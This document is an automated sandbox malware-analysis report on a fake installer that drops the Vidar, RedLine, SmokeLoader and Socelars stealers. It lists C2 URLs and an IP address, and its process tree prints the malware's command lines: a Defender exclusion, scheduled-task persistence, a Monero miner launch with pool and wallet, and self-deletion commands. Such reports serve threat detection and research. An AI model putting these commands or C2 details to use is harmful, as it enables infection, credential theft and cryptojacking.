Overview

overview

10

Static

static

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows11_x64

10

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

10

Resubmissions

09-09-2021 17:41

210909-v9lgtabfhq 10

09-09-2021 04:26

210909-e21nrsfee3 10

08-09-2021 21:37

210908-1gnpcsfbc9 10

08-09-2021 21:29

210908-1bx1vafbc5 10

08-09-2021 13:52

210908-q6fd6shgdj 10

07-09-2021 18:07

210907-wqa3eagcgr 10

Analysis

  • max time kernel
    122s
  • max time network
    614s
  • platform
    windows7_x64
  • resource
    win7-jp
  • submitted
    08-09-2021 13:52

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    setup_x86_x64_install.exe

  • Size

    2.9MB

  • MD5

    3f1f81101d0ce95fdfac97f5913cd662

  • SHA1

    8e615a64e4d72b08926242b7d73a608bdd7e9fce

  • SHA256

    90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407

  • SHA512

    a776c1f8636ef90d294becf8d09a45366463364026837c19e13227c1c5c9a6656b6fa525e0eec5a1a46997b6ef7066e958c02523a7c4538d046f8b2091145285

Score
10/10
elysiumstealerredlinesmokeloadersocelarsvidar706916jaysonaspackv2backdoordiscoveryevasioninfostealerpersistencespywarestealersuricatatrojan

Malware Config

Extracted

Family

vidar

Version

40.5

Botnet

706

C2

https://gheorghip.tumblr.com/

Attributes
  • profile_id

    706

Extracted

Family

smokeloader

Version

2020

C2

http://varmisende.com/upload/

http://fernandomayol.com/upload/

http://nextlytm.com/upload/

http://people4jan.com/upload/

http://asfaltwerk.com/upload/
rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

Jayson

C2

95.181.172.207:56915

Extracted

Family

vidar

Version

40.5

Botnet

916

C2

https://gheorghip.tumblr.com/

Attributes
  • profile_id

    916

Signatures

  • ElysiumStealer

    ElysiumStealer (previously known as ZeromaxStealer) is an info stealer that can steal login credentials for various accounts.

    stealerelysiumstealer
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 11 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars Payload 5 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • rl_trojan 4 IoCs

    redline stealer.

    stealer
  • suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

    suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

    suricata
  • suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

    suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

    suricata
  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata
  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata
  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Vidar Stealer 2 IoCs
    stealer
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Downloads MZ/PE file
  • Executes dropped EXE 60 IoCs
  • Checks BIOS information in registry 2 TTPs 8 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 64 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 4 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 19 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Kills process with taskkill 3 IoCs
    evasion
  • Modifies system certificate store 2 TTPs 4 IoCs
    evasionspywaretrojan
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 9 IoCs
  • Suspicious use of SendNotifyMessage 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1104
      • C:\Users\Admin\AppData\Local\Temp\7zS05448674\setup_install.exe
        "C:\Users\Admin\AppData\Local\Temp\7zS05448674\setup_install.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1788
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe
          4⤵
          • Loads dropped DLL
          PID:1552
          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11d7385a978cc.exe
            Tue11d7385a978cc.exe
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:1760
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe
          4⤵
            PID:1020
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:436
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1196
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe
            4⤵
            • Loads dropped DLL
            PID:976
            • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11f251db82fb7b.exe
              Tue11f251db82fb7b.exe
              5⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1608
              • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:2184
                • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
                  "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
                  7⤵
                  • Executes dropped EXE
                  PID:2264
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                    8⤵
                      PID:3300
                      • C:\Windows\system32\schtasks.exe
                        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                        9⤵
                        • Creates scheduled task(s)
                        PID:3384
                    • C:\Users\Admin\AppData\Roaming\services64.exe
                      "C:\Users\Admin\AppData\Roaming\services64.exe"
                      8⤵
                      • Executes dropped EXE
                      PID:3512
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                        9⤵
                          PID:1356
                          • C:\Windows\system32\schtasks.exe
                            schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                            10⤵
                            • Creates scheduled task(s)
                            PID:4068
                        • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                          "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                          9⤵
                          • Executes dropped EXE
                          PID:4084
                        • C:\Windows\explorer.exe
                          C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                          9⤵
                            PID:4336
                      • C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
                        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
                        7⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2328
                        • C:\Users\Admin\AppData\Roaming\1868505.exe
                          "C:\Users\Admin\AppData\Roaming\1868505.exe"
                          8⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3044
                        • C:\Users\Admin\AppData\Roaming\7959680.exe
                          "C:\Users\Admin\AppData\Roaming\7959680.exe"
                          8⤵
                          • Executes dropped EXE
                          • Adds Run key to start application
                          PID:3396
                          • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                            "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                            9⤵
                            • Executes dropped EXE
                            PID:3648
                        • C:\Users\Admin\AppData\Roaming\4410129.exe
                          "C:\Users\Admin\AppData\Roaming\4410129.exe"
                          8⤵
                          • Executes dropped EXE
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:3924
                        • C:\Users\Admin\AppData\Roaming\3410272.exe
                          "C:\Users\Admin\AppData\Roaming\3410272.exe"
                          8⤵
                          • Executes dropped EXE
                          • Checks BIOS information in registry
                          • Checks whether UAC is enabled
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          PID:2868
                        • C:\Users\Admin\AppData\Roaming\5823944.exe
                          "C:\Users\Admin\AppData\Roaming\5823944.exe"
                          8⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:292
                      • C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe
                        "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"
                        7⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:2396
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c taskkill /im Alfanewfile2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe" & del C:\ProgramData\*.dll & exit
                          8⤵
                            PID:4504
                        • C:\Users\Admin\AppData\Local\Temp\2.exe
                          "C:\Users\Admin\AppData\Local\Temp\2.exe"
                          7⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2424
                          • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                            "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                            8⤵
                            • Executes dropped EXE
                            PID:2736
                        • C:\Users\Admin\AppData\Local\Temp\setup.exe
                          "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                          7⤵
                          • Executes dropped EXE
                          PID:2440
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
                            8⤵
                              PID:2944
                              • C:\Windows\SysWOW64\taskkill.exe
                                taskkill /im "setup.exe" /f
                                9⤵
                                • Kills process with taskkill
                                PID:292
                          • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                            "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                            7⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:2552
                            • C:\Users\Admin\AppData\Local\Temp\is-DRKLE.tmp\setup_2.tmp
                              "C:\Users\Admin\AppData\Local\Temp\is-DRKLE.tmp\setup_2.tmp" /SL5="$80154,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                              8⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:2592
                              • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                9⤵
                                • Executes dropped EXE
                                PID:2636
                                • C:\Users\Admin\AppData\Local\Temp\is-9QA4J.tmp\setup_2.tmp
                                  "C:\Users\Admin\AppData\Local\Temp\is-9QA4J.tmp\setup_2.tmp" /SL5="$20168,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                  10⤵
                                  • Executes dropped EXE
                                  • Drops file in Program Files directory
                                  • Suspicious use of FindShellTrayWindow
                                  PID:2728
                          • C:\Users\Admin\AppData\Local\Temp\3002.exe
                            "C:\Users\Admin\AppData\Local\Temp\3002.exe"
                            7⤵
                            • Executes dropped EXE
                            PID:2580
                            • C:\Users\Admin\AppData\Local\Temp\3002.exe
                              "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
                              8⤵
                              • Executes dropped EXE
                              PID:2800
                          • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                            "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
                            7⤵
                            • Executes dropped EXE
                            PID:2668
                          • C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
                            "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
                            7⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2692
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone
                      4⤵
                      • Loads dropped DLL
                      PID:600
                      • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue1109eec571ac.exe
                        Tue1109eec571ac.exe /mixone
                        5⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1144
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c taskkill /im "Tue1109eec571ac.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue1109eec571ac.exe" & exit
                          6⤵
                            PID:2708
                            • C:\Windows\SysWOW64\taskkill.exe
                              taskkill /im "Tue1109eec571ac.exe" /f
                              7⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2900
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe
                        4⤵
                        • Loads dropped DLL
                        PID:316
                        • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                          Tue11e4e580f2e8141a3.exe
                          5⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Suspicious use of SetThreadContext
                          PID:1204
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2468
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2948
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1516
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2352
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2228
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2224
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            PID:2444
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            PID:1620
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            PID:3076
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            PID:3212
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            PID:3480
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            PID:3636
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            PID:3840
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            PID:3956
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            PID:4064
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            PID:3288
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            PID:3520
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            PID:2776
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            PID:2836
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            PID:1820
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            PID:2744
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                            • Executes dropped EXE
                            PID:2456
                          • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                            6⤵
                              PID:2584
                            • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                              C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                              6⤵
                                PID:1892
                              • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                                C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                                6⤵
                                  PID:3392
                                • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                                  C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                                  6⤵
                                    PID:2504
                                  • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                                    C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11e4e580f2e8141a3.exe
                                    6⤵
                                      PID:4108
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe
                                  4⤵
                                  • Loads dropped DLL
                                  PID:1620
                                  • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11141271fbe5877f.exe
                                    Tue11141271fbe5877f.exe
                                    5⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:692
                                    • C:\ProgramData\5389462.exe
                                      "C:\ProgramData\5389462.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      PID:2216
                                    • C:\ProgramData\1856398.exe
                                      "C:\ProgramData\1856398.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:2316
                                    • C:\ProgramData\5880279.exe
                                      "C:\ProgramData\5880279.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • Checks BIOS information in registry
                                      • Checks whether UAC is enabled
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2920
                                    • C:\ProgramData\6601810.exe
                                      "C:\ProgramData\6601810.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • Checks BIOS information in registry
                                      • Checks whether UAC is enabled
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1192
                                    • C:\ProgramData\5028040.exe
                                      "C:\ProgramData\5028040.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2600
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Tue118f55232e4.exe
                                  4⤵
                                  • Loads dropped DLL
                                  PID:1536
                                  • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue118f55232e4.exe
                                    Tue118f55232e4.exe
                                    5⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Modifies system certificate store
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1448
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd.exe /c taskkill /f /im chrome.exe
                                      6⤵
                                        PID:2776
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill /f /im chrome.exe
                                          7⤵
                                          • Kills process with taskkill
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3060
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe
                                    4⤵
                                    • Loads dropped DLL
                                    PID:1080
                                    • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue112c483dd3245d.exe
                                      Tue112c483dd3245d.exe
                                      5⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Modifies system certificate store
                                      PID:1616
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1616 -s 1452
                                        6⤵
                                        • Program crash
                                        PID:2084
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe
                                    4⤵
                                    • Loads dropped DLL
                                    PID:1320
                            • C:\Users\Admin\AppData\Local\Temp\7zS05448674\Tue11bc0507b56295.exe
                              Tue11bc0507b56295.exe
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Checks SCSI registry key(s)
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious behavior: MapViewOfSection
                              PID:1604
                            • C:\Windows\system32\rundll32.exe
                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                              1⤵
                              • Process spawned unexpected child process
                              PID:1996
                              • C:\Windows\SysWOW64\rundll32.exe
                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                2⤵
                                • Loads dropped DLL
                                PID:968
                            • C:\Windows\system32\rundll32.exe
                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                              1⤵
                              • Process spawned unexpected child process
                              PID:3552
                              • C:\Windows\SysWOW64\rundll32.exe
                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                2⤵
                                  PID:3572
                              • C:\Users\Admin\AppData\Local\Temp\EAEB.exe
                                C:\Users\Admin\AppData\Local\Temp\EAEB.exe
                                1⤵
                                  PID:5060
                                • C:\Users\Admin\AppData\Local\Temp\87D6.exe
                                  C:\Users\Admin\AppData\Local\Temp\87D6.exe
                                  1⤵
                                    PID:4972
                                  • C:\Users\Admin\AppData\Local\Temp\C8DD.exe
                                    C:\Users\Admin\AppData\Local\Temp\C8DD.exe
                                    1⤵
                                      PID:2644
                                      • C:\Users\Admin\AppData\Local\Temp\C8DD.exe
                                        C:\Users\Admin\AppData\Local\Temp\C8DD.exe
                                        2⤵
                                          PID:4896
                                          • C:\Windows\SysWOW64\icacls.exe
                                            icacls "C:\Users\Admin\AppData\Local\ace9b1cd-de12-4c24-a534-f8ac06bcb7b0" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                            3⤵
                                            • Modifies file permissions
                                            PID:4352
                                          • C:\Users\Admin\AppData\Local\Temp\C8DD.exe
                                            "C:\Users\Admin\AppData\Local\Temp\C8DD.exe" --Admin IsNotAutoStart IsNotTask
                                            3⤵
                                              PID:4416
                                              • C:\Users\Admin\AppData\Local\Temp\C8DD.exe
                                                "C:\Users\Admin\AppData\Local\Temp\C8DD.exe" --Admin IsNotAutoStart IsNotTask
                                                4⤵
                                                  PID:4792
                                          • C:\Users\Admin\AppData\Local\Temp\58EC.exe
                                            C:\Users\Admin\AppData\Local\Temp\58EC.exe
                                            1⤵
                                              PID:1704
                                            • C:\Users\Admin\AppData\Local\Temp\D9DF.exe
                                              C:\Users\Admin\AppData\Local\Temp\D9DF.exe
                                              1⤵
                                                PID:1512

                                              Network

                                              MITRE ATT&CK Enterprise v6

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

